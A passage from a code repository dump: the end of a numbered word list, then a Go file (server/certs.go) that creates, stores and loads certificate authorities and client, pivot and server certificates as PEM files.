3072 | porch 3073 | porcupine 3074 | port 3075 | porter 3076 | portfolio 3077 | porthole 3078 | position 3079 | positive 3080 | possession 3081 | possibility 3082 | possible 3083 | post 3084 | postage 3085 | postbox 3086 | poster 3087 | pot 3088 | potato 3089 | potential 3090 | potty 3091 | pouch 3092 | poultry 3093 | pound 3094 | pounding 3095 | poverty 3096 | powder 3097 | power 3098 | practice 3099 | precedent 3100 | precipitation 3101 | preface 3102 | preference 3103 | prelude 3104 | premeditation 3105 | premier 3106 | preoccupation 3107 | preparation 3108 | presence 3109 | present 3110 | presentation 3111 | president 3112 | press 3113 | pressroom 3114 | pressure 3115 | pressurisation 3116 | price 3117 | pride 3118 | priest 3119 | priesthood 3120 | primary 3121 | primate 3122 | prince 3123 | princess 3124 | principal 3125 | principle 3126 | print 3127 | printer 3128 | prior 3129 | priority 3130 | prison 3131 | private 3132 | prize 3133 | prizefight 3134 | probation 3135 | problem 3136 | procedure 3137 | process 3138 | processing 3139 | produce 3140 | producer 3141 | product 3142 | production 3143 | profession 3144 | professional 3145 | professor 3146 | profile 3147 | profit 3148 | program 3149 | progress 3150 | project 3151 | promise 3152 | promotion 3153 | prompt 3154 | pronunciation 3155 | proof 3156 | proof-reader 3157 | propane 3158 | property 3159 | proposal 3160 | prose 3161 | prosecution 3162 | protection 3163 | protest 3164 | protocol 3165 | prow 3166 | pruner 3167 | pseudoscience 3168 | psychiatrist 3169 | psychoanalyst 3170 | psychologist 3171 | psychology 3172 | ptarmigan 3173 | public 3174 | publicity 3175 | publisher 3176 | pudding 3177 | puddle 3178 | puffin 3179 | pull 3180 | pulley 3181 | puma 3182 | pump 3183 | pumpkin 3184 | pumpkinseed 3185 | punch 3186 | punctuation 3187 | punishment 3188 | pupa 3189 | pupil 3190 | puppy 3191 | purchase 3192 | puritan 3193 | purple 3194 | purpose 3195 | purse 3196 | push 3197 | pusher 3198 | put 3199 | pvc 3200 | pyjama 3201 | pyramid 3202 | quadrant 3203 | quail 3204 | quality 3205 | quantity 3206 | quart 3207 | quarter 3208 | quartz 3209 | queen 3210 | question 3211 | quicksand 3212 | quiet 3213 | quill 3214 | quilt 3215 | quince 3216 | quit 3217 | quiver 3218 | quotation 3219 | quote 3220 | rabbi 3221 | rabbit 3222 | raccoon 3223 | race 3224 | racer 3225 | racing 3226 | racism 3227 | racist 3228 | rack 3229 | radar 3230 | radiator 3231 | radio 3232 | radiosonde 3233 | radish 3234 | raffle 3235 | raft 3236 | rag 3237 | rage 3238 | rail 3239 | railway 3240 | raiment 3241 | rain 3242 | rainbow 3243 | raincoat 3244 | rainmaker 3245 | rainstorm 3246 | raise 3247 | rake 3248 | ram 3249 | rambler 3250 | ramie 3251 | ranch 3252 | random 3253 | randomisation 3254 | range 3255 | rank 3256 | raspberry 3257 | rat 3258 | rate 3259 | ratio 3260 | raven 3261 | ravioli 3262 | raw 3263 | rawhide 3264 | ray 3265 | rayon 3266 | reach 3267 | reactant 3268 | reaction 3269 | read 3270 | reading 3271 | reality 3272 | reamer 3273 | rear 3274 | reason 3275 | receipt 3276 | reception 3277 | recess 3278 | recipe 3279 | recliner 3280 | recognition 3281 | recommendation 3282 | record 3283 | recorder 3284 | recording 3285 | recover 3286 | recreation 3287 | recruit 3288 | rectangle 3289 | red 3290 | redesign 3291 | rediscovery 3292 | reduction 3293 | reef 3294 | refectory 3295 | reference 3296 | reflection 3297 | refrigerator 3298 | refund 3299 | refuse 3300 | region 3301 | register 3302 | regret 3303 | regular 3304 | regulation 3305 | reindeer 3306 | reinscription 3307 | reject 3308 | relation 3309 | relationship 3310 | relative 3311 | relaxation 3312 | release 3313 | reliability 3314 | relief 3315 | religion 3316 | relish 3317 | reminder 3318 | remote 3319 | remove 3320 | rent 3321 | repair 3322 | reparation 3323 | repeat 3324 | replace 3325 | replacement 3326 | replication 3327 | reply 3328 | report 3329 | representative 3330 | reprocessing 3331 | republic 3332 | reputation 3333 | request 3334 | requirement 3335 | resale 3336 | research 3337 | reserve 3338 | resident 3339 | resist 3340 | resolution 3341 | resolve 3342 | resort 3343 | resource 3344 | respect 3345 | respite 3346 | respond 3347 | response 3348 | responsibility 3349 | rest 3350 | restaurant 3351 | result 3352 | retailer 3353 | rethinking 3354 | retina 3355 | retouch 3356 | return 3357 | reveal 3358 | revenant 3359 | revenge 3360 | revenue 3361 | review 3362 | revolution 3363 | revolve 3364 | revolver 3365 | reward 3366 | rheumatism 3367 | rhinoceros 3368 | rhyme 3369 | rhythm 3370 | rice 3371 | rich 3372 | riddle 3373 | ride 3374 | rider 3375 | ridge 3376 | rifle 3377 | right 3378 | rim 3379 | ring 3380 | ringworm 3381 | rip 3382 | ripple 3383 | rise 3384 | riser 3385 | risk 3386 | river 3387 | riverbed 3388 | rivulet 3389 | road 3390 | roadway 3391 | roast 3392 | robe 3393 | robin 3394 | rock 3395 | rocker 3396 | rocket 3397 | rocket-ship 3398 | rod 3399 | role 3400 | roll 3401 | roller 3402 | roof 3403 | room 3404 | rooster 3405 | root 3406 | rope 3407 | rose 3408 | rostrum 3409 | rotate 3410 | rough 3411 | round 3412 | roundabout 3413 | route 3414 | router 3415 | routine 3416 | row 3417 | rowboat 3418 | royal 3419 | rub 3420 | rubber 3421 | rubbish 3422 | rubric 3423 | ruckus 3424 | ruffle 3425 | rugby 3426 | ruin 3427 | rule 3428 | rum 3429 | run 3430 | runaway 3431 | runner 3432 | rush 3433 | rutabaga 3434 | ruth 3435 | ry 3436 | sabre 3437 | sack 3438 | sad 3439 | saddle 3440 | safe 3441 | safety 3442 | sage 3443 | sail 3444 | sailboat 3445 | sailor 3446 | salad 3447 | salary 3448 | sale 3449 | salesman 3450 | salmon 3451 | salon 3452 | saloon 3453 | salt 3454 | samovar 3455 | sampan 3456 | sample 3457 | samurai 3458 | sand 3459 | sandals 3460 | sandbar 3461 | sandwich 3462 | sardine 3463 | sari 3464 | sarong 3465 | sash 3466 | satellite 3467 | satin 3468 | satire 3469 | satisfaction 3470 | sauce 3471 | sausage 3472 | save 3473 | saving 3474 | savings 3475 | savior 3476 | saviour 3477 | saw 3478 | saxophone 3479 | scale 3480 | scallion 3481 | scanner 3482 | scarecrow 3483 | scarf 3484 | scarification 3485 | scene 3486 | scenery 3487 | scent 3488 | schedule 3489 | scheme 3490 | schizophrenic 3491 | schnitzel 3492 | school 3493 | schoolhouse 3494 | schooner 3495 | science 3496 | scimitar 3497 | scissors 3498 | scooter 3499 | score 3500 | scorn 3501 | scow 3502 | scraper 3503 | scratch 3504 | screamer 3505 | screen 3506 | screenwriting 3507 | screw 3508 | screwdriver 3509 | screw-up 3510 | scrim 3511 | scrip 3512 | script 3513 | sculpting 3514 | sculpture 3515 | sea 3516 | seafood 3517 | seagull 3518 | seal 3519 | seaplane 3520 | search 3521 | seashore 3522 | seaside 3523 | season 3524 | seat 3525 | second 3526 | secret 3527 | secretariat 3528 | secretary 3529 | section 3530 | sectional 3531 | sector 3532 | secure 3533 | security 3534 | seed 3535 | seeder 3536 | segment 3537 | select 3538 | selection 3539 | self 3540 | sell 3541 | semicircle 3542 | semicolon 3543 | senator 3544 | senior 3545 | sense 3546 | sensitive 3547 | sentence 3548 | sepal 3549 | septicaemia 3550 | series 3551 | servant 3552 | serve 3553 | server 3554 | service 3555 | session 3556 | set 3557 | setting 3558 | settler 3559 | sewer 3560 | sex 3561 | shack 3562 | shade 3563 | shadow 3564 | shadowbox 3565 | shake 3566 | shakedown 3567 | shaker 3568 | shallot 3569 | shame 3570 | shampoo 3571 | shanty 3572 | shape 3573 | share 3574 | shark 3575 | sharon 3576 | shawl 3577 | she 3578 | shearling 3579 | shears 3580 | sheath 3581 | shed 3582 | sheep 3583 | sheet 3584 | shelf 3585 | shell 3586 | shelter 3587 | sherry 3588 | shield 3589 | shift 3590 | shin 3591 | shine 3592 | shingle 3593 | ship 3594 | shirt 3595 | shirtdress 3596 | shoat 3597 | shock 3598 | shoe 3599 | shoehorn 3600 | shoe-horn 3601 | shoelace 3602 | shoemaker 3603 | shoes 3604 | shoestring 3605 | shofar 3606 | shoot 3607 | shootdown 3608 | shop 3609 | shopper 3610 | shopping 3611 | shore 3612 | shortage 3613 | shorts 3614 | shortwave 3615 | shot 3616 | shoulder 3617 | shovel 3618 | show 3619 | shower 3620 | show-stopper 3621 | shred 3622 | shrimp 3623 | shrine 3624 | sibling 3625 | sick 3626 | side 3627 | sideboard 3628 | sideburns 3629 | sidecar 3630 | sidestream 3631 | sidewalk 3632 | siding 3633 | sign 3634 | signal 3635 | signature 3636 | signet 3637 | significance 3638 | signup 3639 | silence 3640 | silica 3641 | silk 3642 | silkworm 3643 | sill 3644 | silly 3645 | silo 3646 | silver 3647 | simple 3648 | sing 3649 | singer 3650 | single 3651 | sink 3652 | sir 3653 | sister 3654 | sister-in-law 3655 | sitar 3656 | site 3657 | situation 3658 | size 3659 | skate 3660 | skiing 3661 | skill 3662 | skin 3663 | skirt 3664 | skull 3665 | skullcap 3666 | skullduggery 3667 | skunk 3668 | sky 3669 | skylight 3670 | skyscraper 3671 | skywalk 3672 | slapstick 3673 | slash 3674 | slave 3675 | sled 3676 | sledge 3677 | sleep 3678 | sleet 3679 | sleuth 3680 | slice 3681 | slide 3682 | slider 3683 | slime 3684 | slip 3685 | slipper 3686 | slippers 3687 | slope 3688 | sloth 3689 | smash 3690 | smell 3691 | smelting 3692 | smile 3693 | smock 3694 | smog 3695 | smoke 3696 | smoking 3697 | smuggling 3698 | snail 3699 | snake 3700 | snakebite 3701 | sneakers 3702 | sneeze 3703 | snob 3704 | snorer 3705 | snow 3706 | snowboarding 3707 | snowflake 3708 | snowman 3709 | snowmobiling 3710 | snowplow 3711 | snowstorm 3712 | snowsuit 3713 | snuggle 3714 | soap 3715 | soccer 3716 | society 3717 | sociology 3718 | sock 3719 | socks 3720 | soda 3721 | sofa 3722 | soft 3723 | softball 3724 | softdrink 3725 | softening 3726 | software 3727 | soil 3728 | soldier 3729 | solid 3730 | solitaire 3731 | solution 3732 | sombrero 3733 | somersault 3734 | somewhere 3735 | son 3736 | song 3737 | songbird 3738 | sonnet 3739 | soot 3740 | soprano 3741 | sorbet 3742 | sorrow 3743 | sort 3744 | soulmate 3745 | sound 3746 | soup 3747 | source 3748 | sourwood 3749 | sousaphone 3750 | south 3751 | south america 3752 | south korea 3753 | sow 3754 | soy 3755 | soybean 3756 | space 3757 | spacing 3758 | spade 3759 | spaghetti 3760 | spandex 3761 | spank 3762 | spare 3763 | spark 3764 | sparrow 3765 | spasm 3766 | speaker 3767 | speakerphone 3768 | spear 3769 | special 3770 | specialist 3771 | specific 3772 | spectacle 3773 | spectacles 3774 | spectrograph 3775 | speech 3776 | speed 3777 | speedboat 3778 | spell 3779 | spelling 3780 | spend 3781 | sphere 3782 | sphynx 3783 | spider 3784 | spike 3785 | spinach 3786 | spine 3787 | spiral 3788 | spirit 3789 | spiritual 3790 | spite 3791 | spleen 3792 | split 3793 | sponge 3794 | spoon 3795 | sport 3796 | spot 3797 | spotlight 3798 | spray 3799 | spread 3800 | spring 3801 | sprinter 3802 | sprout 3803 | spruce 3804 | spume 3805 | spur 3806 | spy 3807 | square 3808 | squash 3809 | squatter 3810 | squeegee 3811 | squid 3812 | squirrel 3813 | stable 3814 | stack 3815 | stacking 3816 | stadium 3817 | staff 3818 | stag 3819 | stage 3820 | stain 3821 | stair 3822 | staircase 3823 | stallion 3824 | stamen 3825 | stamina 3826 | stamp 3827 | stance 3828 | stand 3829 | standard 3830 | standoff 3831 | star 3832 | start 3833 | starter 3834 | state 3835 | statement 3836 | station 3837 | station-wagon 3838 | statistic 3839 | status 3840 | stay 3841 | steak 3842 | steal 3843 | steam 3844 | steamroller 3845 | steel 3846 | steeple 3847 | stem 3848 | stencil 3849 | step 3850 | step-aunt 3851 | step-brother 3852 | stepdaughter 3853 | step-daughter 3854 | step-father 3855 | step-grandfather 3856 | step-grandmother 3857 | stepmother 3858 | step-mother 3859 | stepping-stone 3860 | steps 3861 | step-sister 3862 | stepson 3863 | step-son 3864 | step-uncle 3865 | stew 3866 | stick 3867 | stiletto 3868 | still 3869 | stinger 3870 | stitch 3871 | stock 3872 | stocking 3873 | stockings 3874 | stock-in-trade 3875 | stole 3876 | stomach 3877 | stone 3878 | stonework 3879 | stool 3880 | stop 3881 | stopsign 3882 | stopwatch 3883 | storage 3884 | store 3885 | storey 3886 | storm 3887 | story 3888 | storyboard 3889 | story-telling 3890 | stove 3891 | strain 3892 | strait 3893 | stranger 3894 | strap 3895 | strategy 3896 | straw 3897 | strawberry 3898 | stream 3899 | street 3900 | streetcar 3901 | strength 3902 | stress 3903 | stretch 3904 | strike 3905 | string 3906 | strip 3907 | stroke 3908 | structure 3909 | struggle 3910 | stud 3911 | student 3912 | studio 3913 | study 3914 | stuff 3915 | stumbling 3916 | stupid 3917 | stupidity 3918 | sturgeon 3919 | style 3920 | styling 3921 | stylus 3922 | subcomponent 3923 | subconscious 3924 | subject 3925 | submarine 3926 | subroutine 3927 | subsidence 3928 | substance 3929 | suburb 3930 | subway 3931 | success 3932 | suck 3933 | suede 3934 | suffocation 3935 | sugar 3936 | suggestion 3937 | suit 3938 | suitcase 3939 | sultan 3940 | summer 3941 | sun 3942 | sunbeam 3943 | sunbonnet 3944 | sunday 3945 | sundial 3946 | sunflower 3947 | sunglasses 3948 | sunlamp 3949 | sunroom 3950 | sunshine 3951 | supermarket 3952 | supply 3953 | support 3954 | supporter 3955 | suppression 3956 | surface 3957 | surfboard 3958 | surgeon 3959 | surgery 3960 | surname 3961 | surprise 3962 | surround 3963 | survey 3964 | sushi 3965 | suspect 3966 | suspenders 3967 | sustainment 3968 | SUV 3969 | swallow 3970 | swamp 3971 | swan 3972 | swath 3973 | sweat 3974 | sweater 3975 | sweats 3976 | sweatshirt 3977 | sweatshop 3978 | sweatsuit 3979 | swedish 3980 | sweet 3981 | sweets 3982 | swell 3983 | swim 3984 | swimming 3985 | swimsuit 3986 | swing 3987 | swiss 3988 | switch 3989 | switchboard 3990 | swivel 3991 | sword 3992 | swordfish 3993 | sycamore 3994 | symmetry 3995 | sympathy 3996 | syndicate 3997 | synergy 3998 | synod 3999 | syrup 4000 | system 4001 | tabby 4002 | tabernacle 4003 | table 4004 | tablecloth 4005 | tabletop 4006 | tachometer 4007 | tackle 4008 | tadpole 4009 | tail 4010 | tailor 4011 | tailspin 4012 | tale 4013 | talk 4014 | tam 4015 | tambour 4016 | tambourine 4017 | tam-o'-shanter 4018 | tandem 4019 | tangerine 4020 | tank 4021 | tanker 4022 | tankful 4023 | tank-top 4024 | tap 4025 | tard 4026 | target 4027 | task 4028 | tassel 4029 | taste 4030 | tatami 4031 | tattler 4032 | tattoo 4033 | tavern 4034 | tax 4035 | taxi 4036 | taxicab 4037 | tea 4038 | teach 4039 | teacher 4040 | teaching 4041 | team 4042 | tear 4043 | technologist 4044 | technology 4045 | teen 4046 | teeth 4047 | telephone 4048 | telescreen 4049 | teletype 4050 | television 4051 | tell 4052 | teller 4053 | temp 4054 | temper 4055 | temperature 4056 | temple 4057 | tempo 4058 | temporariness 4059 | temporary 4060 | temptress 4061 | tendency 4062 | tenement 4063 | tennis 4064 | tenor 4065 | tension 4066 | tent 4067 | tepee 4068 | term 4069 | terracotta 4070 | terrapin 4071 | territory 4072 | test 4073 | text 4074 | textbook 4075 | texture 4076 | thanks 4077 | thaw 4078 | theater 4079 | theism 4080 | theme 4081 | theory 4082 | therapist 4083 | thermals 4084 | thermometer 4085 | thigh 4086 | thing 4087 | thinking 4088 | thirst 4089 | thistle 4090 | thomas 4091 | thong 4092 | thongs 4093 | thorn 4094 | thought 4095 | thread 4096 | thrill 4097 | throat 4098 | throne 4099 | thrush 4100 | thumb 4101 | thunder 4102 | thunderbolt 4103 | thunderhead 4104 | thunderstorm 4105 | tiara 4106 | tic 4107 | ticket 4108 | tie 4109 | tiger 4110 | tight 4111 | tights 4112 | tile 4113 | till 4114 | timbale 4115 | timber 4116 | time 4117 | timeline 4118 | timeout 4119 | timer 4120 | timpani 4121 | tin 4122 | tinderbox 4123 | tinkle 4124 | tintype 4125 | tip 4126 | tire 4127 | tissue 4128 | titanium 4129 | title 4130 | toad 4131 | toast 4132 | today 4133 | toe 4134 | toenail 4135 | toga 4136 | togs 4137 | toilet 4138 | tolerance 4139 | tom 4140 | tomato 4141 | tomography 4142 | tomorrow 4143 | tom-tom 4144 | ton 4145 | tone 4146 | tongue 4147 | tonight 4148 | tool 4149 | toot 4150 | tooth 4151 | toothbrush 4152 | toothpaste 4153 | toothpick 4154 | top 4155 | top-hat 4156 | topic 4157 | topsail 4158 | toque 4159 | torchiere 4160 | toreador 4161 | tornado 4162 | torso 4163 | tortellini 4164 | tortoise 4165 | tosser 4166 | total 4167 | tote 4168 | touch 4169 | tough 4170 | tough-guy 4171 | tour 4172 | tourist 4173 | towel 4174 | tower 4175 | town 4176 | townhouse 4177 | tow-truck 4178 | toy 4179 | trachoma 4180 | track 4181 | tracksuit 4182 | tractor 4183 | trade 4184 | tradition 4185 | traditionalism 4186 | traffic 4187 | trail 4188 | trailer 4189 | train 4190 | trainer 4191 | training 4192 | tram 4193 | tramp 4194 | transaction 4195 | transition 4196 | translation 4197 | transmission 4198 | transom 4199 | transport 4200 | transportation 4201 | trapdoor 4202 | trapezium 4203 | trapezoid 4204 | trash 4205 | travel 4206 | tray 4207 | treat 4208 | treatment 4209 | tree 4210 | trellis 4211 | tremor 4212 | trench 4213 | trial 4214 | triangle 4215 | tribe 4216 | trick 4217 | trigonometry 4218 | trim 4219 | trinket 4220 | trip 4221 | tripod 4222 | trolley 4223 | trombone 4224 | trooper 4225 | trouble 4226 | trousers 4227 | trout 4228 | trove 4229 | trowel 4230 | truck 4231 | truckit 4232 | trumpet 4233 | trunk 4234 | trust 4235 | truth 4236 | try 4237 | t-shirt 4238 | tsunami 4239 | tub 4240 | tuba 4241 | tube 4242 | tugboat 4243 | tulip 4244 | tummy 4245 | tuna 4246 | tune 4247 | tune-up 4248 | tunic 4249 | tunnel 4250 | turban 4251 | turkish 4252 | turn 4253 | turnip 4254 | turnover 4255 | turnstile 4256 | turret 4257 | turtle 4258 | tussle 4259 | tutu 4260 | tuxedo 4261 | tv 4262 | twig 4263 | twilight 4264 | twine 4265 | twist 4266 | twister 4267 | two 4268 | type 4269 | typewriter 4270 | typhoon 4271 | tyvek 4272 | ukulele 4273 | umbrella 4274 | unblinking 4275 | uncle 4276 | underclothes 4277 | underground 4278 | underneath 4279 | underpants 4280 | underpass 4281 | undershirt 4282 | understanding 4283 | underwear 4284 | underwire 4285 | unemployment 4286 | unibody 4287 | uniform 4288 | union 4289 | unique 4290 | unit 4291 | unity 4292 | university 4293 | upper 4294 | upstairs 4295 | urn 4296 | usage 4297 | use 4298 | user 4299 | usher 4300 | usual 4301 | utensil 4302 | vacation 4303 | vacuum 4304 | vagrant 4305 | valance 4306 | validity 4307 | valley 4308 | valuable 4309 | value 4310 | van 4311 | vane 4312 | vanity 4313 | variation 4314 | variety 4315 | vase 4316 | vast 4317 | vault 4318 | vaulting 4319 | veal 4320 | vegetable 4321 | vegetarianism 4322 | vegetation 4323 | vehicle 4324 | veil 4325 | vein 4326 | veldt 4327 | vellum 4328 | velodrome 4329 | velvet 4330 | vengeance 4331 | venom 4332 | veranda 4333 | verdict 4334 | vermicelli 4335 | verse 4336 | version 4337 | vertigo 4338 | verve 4339 | vessel 4340 | vest 4341 | vestment 4342 | vibe 4343 | vibraphone 4344 | vibration 4345 | video 4346 | view 4347 | villa 4348 | village 4349 | vineyard 4350 | vinyl 4351 | viola 4352 | violence 4353 | violet 4354 | violin 4355 | virginal 4356 | virtue 4357 | virus 4358 | viscose 4359 | vise 4360 | vision 4361 | visit 4362 | visitor 4363 | visor 4364 | visual 4365 | vitality 4366 | vixen 4367 | voice 4368 | volcano 4369 | volleyball 4370 | volume 4371 | voyage 4372 | vulture 4373 | wad 4374 | wafer 4375 | waffle 4376 | waist 4377 | waistband 4378 | wait 4379 | waiter 4380 | waitress 4381 | wake 4382 | walk 4383 | walker 4384 | walkway 4385 | wall 4386 | wallaby 4387 | wallet 4388 | walnut 4389 | walrus 4390 | wampum 4391 | wannabe 4392 | war 4393 | warden 4394 | warlock 4395 | warmth 4396 | warm-up 4397 | warning 4398 | wash 4399 | washbasin 4400 | washcloth 4401 | washer 4402 | washtub 4403 | wasp 4404 | waste 4405 | wastebasket 4406 | watch 4407 | watchmaker 4408 | water 4409 | waterbed 4410 | waterfall 4411 | waterskiing 4412 | waterspout 4413 | wave 4414 | wax 4415 | way 4416 | weakness 4417 | wealth 4418 | weapon 4419 | wear 4420 | weasel 4421 | weather 4422 | web 4423 | wedding 4424 | wedge 4425 | weed 4426 | weeder 4427 | weedkiller 4428 | week 4429 | weekend 4430 | weekender 4431 | weight 4432 | weird 4433 | welcome 4434 | welfare 4435 | well 4436 | west 4437 | western 4438 | wet-bar 4439 | wetsuit 4440 | whale 4441 | wharf 4442 | wheat 4443 | wheel 4444 | whereas 4445 | while 4446 | whip 4447 | whirlpool 4448 | whirlwind 4449 | whisker 4450 | whiskey 4451 | whistle 4452 | white 4453 | whole 4454 | wholesale 4455 | wholesaler 4456 | whorl 4457 | width 4458 | wife 4459 | wilderness 4460 | wildlife 4461 | will 4462 | willow 4463 | win 4464 | wind 4465 | windage 4466 | wind-chime 4467 | window 4468 | windscreen 4469 | windshield 4470 | wine 4471 | wing 4472 | wingman 4473 | wingtip 4474 | winner 4475 | winter 4476 | wire 4477 | wisdom 4478 | wiseguy 4479 | wish 4480 | wisteria 4481 | witch 4482 | witch-hunt 4483 | withdrawal 4484 | witness 4485 | wolf 4486 | wombat 4487 | women 4488 | wonder 4489 | wood 4490 | woodland 4491 | woodshed 4492 | woodwind 4493 | wool 4494 | woolen 4495 | word 4496 | work 4497 | workbench 4498 | worker 4499 | workhorse 4500 | working 4501 | worklife 4502 | workshop 4503 | world 4504 | worm 4505 | worry 4506 | worth 4507 | worthy 4508 | wound 4509 | wrap 4510 | wraparound 4511 | wrecker 4512 | wren 4513 | wrench 4514 | wrestler 4515 | wrinkle 4516 | wrist 4517 | writer 4518 | writing 4519 | wrong 4520 | xylophone 4521 | yacht 4522 | yak 4523 | yam 4524 | yard 4525 | yarmulke 4526 | yarn 4527 | yawl 4528 | year 4529 | yeast 4530 | yellow 4531 | yesterday 4532 | yew 4533 | yin 4534 | yoga 4535 | yogurt 4536 | yoke 4537 | you 4538 | young 4539 | youth 4540 | yurt 4541 | zampone 4542 | zebra 4543 | zebrafish 4544 | zephyr 4545 | ziggurat 4546 | zinc 4547 | zipper 4548 | zither 4549 | zone 4550 | zoo 4551 | zoologist 4552 | zoology 4553 | zoot-suit 4554 | zucchini -------------------------------------------------------------------------------- /server/assets/windows/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moloch--/rosie/746fc2d8c7e66b2b24a5c54be9b68bbf34bf5931/server/assets/windows/.gitkeep -------------------------------------------------------------------------------- /server/certs.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/ecdsa" 6 | "crypto/elliptic" 7 | "crypto/rand" 8 | "crypto/rsa" 9 | "crypto/x509" 10 | "crypto/x509/pkix" 11 | "encoding/pem" 12 | "fmt" 13 | "io/ioutil" 14 | "log" 15 | "math/big" 16 | "net" 17 | "os" 18 | "path" 19 | "time" 20 | ) 21 | 22 | const ( 23 | validFor = 365 * 24 * time.Hour 24 | certsDirName = "certs" 25 | 26 | // ClientsDir - Directory to store client certificates 27 | ClientsDir = "clients" 28 | // PivotsDir - Directory to store pivot certificates 29 | PivotsDir = "pivots" 30 | // ServersDir - Subdirectory of ClientsDir/PivotsDir to store server certificates 31 | ServersDir = "servers" 32 | ) 33 | 34 | // ------------------- 35 | // LEAF CERTIFICATES 36 | // ------------------- 37 | 38 | // GenerateServerCertificate - Generate a server certificate signed with a given CA 39 | func GenerateServerCertificate(caType string, host string, save bool) ([]byte, []byte) { 40 | cert, key := GenerateCertificate(host, caType, false, false) 41 | if save { 42 | SaveCertificate(path.Join(caType, ServersDir), host, cert, key) 43 | } 44 | return cert, key 45 | } 46 | 47 | // GetServerCertificatePEM - Get a server certificate/key pair signed by ca type 48 | func GetServerCertificatePEM(caType string, host string) ([]byte, []byte, error) { 49 | 50 | log.Printf("Getting certificate (ca type = %s) '%s'", caType, host) 51 | 52 | // If not certificate exists for this host we just generate one on the fly 53 | _, _, err := GetCertificatePEM(path.Join(caType, ServersDir), host) 54 | if err != nil { 55 | log.Printf("No server certificate, generating ca type = %s '%s'", caType, host) 56 | GenerateServerCertificate(caType, host, true) 57 | } 58 | 59 | certPEM, keyPEM, err := GetCertificatePEM(path.Join(caType, ServersDir), host) 60 | if err != nil { 61 | log.Printf("Failed to load PEM data %v", err) 62 | return nil, nil, err 63 | } 64 | 65 | return certPEM, keyPEM, nil 66 | } 67 | 68 | // GenerateClientCertificate - Generate a client certificate signed with a given CA 69 | func GenerateClientCertificate(host string, save bool) ([]byte, []byte) { 70 | cert, key := GenerateCertificate(host, ClientsDir, false, true) 71 | if save { 72 | SaveCertificate(ClientsDir, host, cert, key) 73 | } 74 | return cert, key 75 | } 76 | 77 | // GeneratePivotCertificate - Generate a client certificate signed with a given CA 78 | func GeneratePivotCertificate(host string, save bool) ([]byte, []byte) { 79 | cert, key := GenerateCertificate(host, PivotsDir, false, true) 80 | if save { 81 | SaveCertificate(PivotsDir, host, cert, key) 82 | } 83 | return cert, key 84 | } 85 | 86 | // SaveCertificate - Save the certificate and the key to the filesystem 87 | func SaveCertificate(prefix string, host string, cert []byte, key []byte) { 88 | 89 | storageDir := path.Join(GetRosieDir(), certsDirName, prefix) 90 | if _, err := os.Stat(storageDir); os.IsNotExist(err) { 91 | os.MkdirAll(storageDir, os.ModePerm) 92 | } 93 | 94 | host = path.Base(host) 95 | certFilePath := path.Join(storageDir, fmt.Sprintf("%s-cert.pem", host)) 96 | keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-key.pem", host)) 97 | 98 | log.Printf("Saving certificate to: %s", certFilePath) 99 | err := ioutil.WriteFile(certFilePath, cert, 0600) 100 | if err != nil { 101 | log.Fatalf("Failed write certificate data to: %s", certFilePath) 102 | } 103 | 104 | log.Printf("Saving key to: %s", keyFilePath) 105 | err = ioutil.WriteFile(keyFilePath, key, 0600) 106 | if err != nil { 107 | log.Fatalf("Failed write key data to: %s", keyFilePath) 108 | } 109 | } 110 | 111 | // GetCertificatePEM - Get the PEM encoded certificate & key for a host 112 | func GetCertificatePEM(prefix string, host string) ([]byte, []byte, error) { 113 | 114 | storageDir := path.Join(GetRosieDir(), certsDirName, prefix) 115 | if _, err := os.Stat(storageDir); os.IsNotExist(err) { 116 | return nil, nil, err 117 | } 118 | 119 | host = path.Base(host) 120 | certFileName := fmt.Sprintf("%s-cert.pem", host) 121 | keyFileName := fmt.Sprintf("%s-key.pem", host) 122 | 123 | certFilePath := path.Join(storageDir, certFileName) 124 | keyFilePath := path.Join(storageDir, keyFileName) 125 | 126 | certPEM, err := ioutil.ReadFile(certFilePath) 127 | if err != nil { 128 | log.Printf("Failed to load %v", err) 129 | return nil, nil, err 130 | } 131 | 132 | keyPEM, err := ioutil.ReadFile(keyFilePath) 133 | if err != nil { 134 | log.Printf("Failed to load %v", err) 135 | return nil, nil, err 136 | } 137 | 138 | return certPEM, keyPEM, nil 139 | } 140 | 141 | // ----------------------- 142 | // CERTIFICATE AUTHORITY 143 | // ----------------------- 144 | 145 | // GenerateCertificateAuthority - Creates a new CA cert for a given type 146 | func GenerateCertificateAuthority(caType string, save bool) ([]byte, []byte) { 147 | cert, key := GenerateCertificate("", "", true, false) 148 | if save { 149 | SaveCertificateAuthority(caType, cert, key) 150 | } 151 | return cert, key 152 | } 153 | 154 | // GetCertificateAuthority - Get the current CA certificate for CLIENTS or PIVOTS 155 | func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKey, error) { 156 | 157 | certPEM, keyPEM, err := GetCertificateAuthorityPEM(caType) 158 | if err != nil { 159 | return nil, nil, err 160 | } 161 | 162 | certBlock, _ := pem.Decode(certPEM) 163 | if certBlock == nil { 164 | log.Print("Failed to parse certificate PEM") 165 | return nil, nil, err 166 | } 167 | cert, err := x509.ParseCertificate(certBlock.Bytes) 168 | if err != nil { 169 | log.Print("Failed to parse certificate: " + err.Error()) 170 | return nil, nil, err 171 | } 172 | 173 | keyBlock, _ := pem.Decode(keyPEM) 174 | if keyBlock == nil { 175 | log.Print("Failed to parse certificate PEM") 176 | return nil, nil, err 177 | } 178 | key, err := x509.ParseECPrivateKey(keyBlock.Bytes) 179 | if err != nil { 180 | log.Print(err) 181 | return nil, nil, err 182 | } 183 | 184 | return cert, key, nil 185 | } 186 | 187 | // GetCertificateAuthorityPEM - Get PEM encoded CA cert/key 188 | func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) { 189 | 190 | rosieDir := GetRosieDir() 191 | caType = path.Base(caType) 192 | caCertPath := path.Join(rosieDir, certsDirName, fmt.Sprintf("%s-ca-cert.pem", caType)) 193 | caKeyPath := path.Join(rosieDir, certsDirName, fmt.Sprintf("%s-ca-key.pem", caType)) 194 | 195 | certPEM, err := ioutil.ReadFile(caCertPath) 196 | if err != nil { 197 | log.Print(err) 198 | return nil, nil, err 199 | } 200 | 201 | keyPEM, err := ioutil.ReadFile(caKeyPath) 202 | if err != nil { 203 | log.Print(err) 204 | return nil, nil, err 205 | } 206 | return certPEM, keyPEM, nil 207 | } 208 | 209 | // SaveCertificateAuthority - Save the certificate and the key to the filesystem 210 | func SaveCertificateAuthority(caType string, cert []byte, key []byte) { 211 | 212 | storageDir := path.Join(GetRosieDir(), certsDirName) 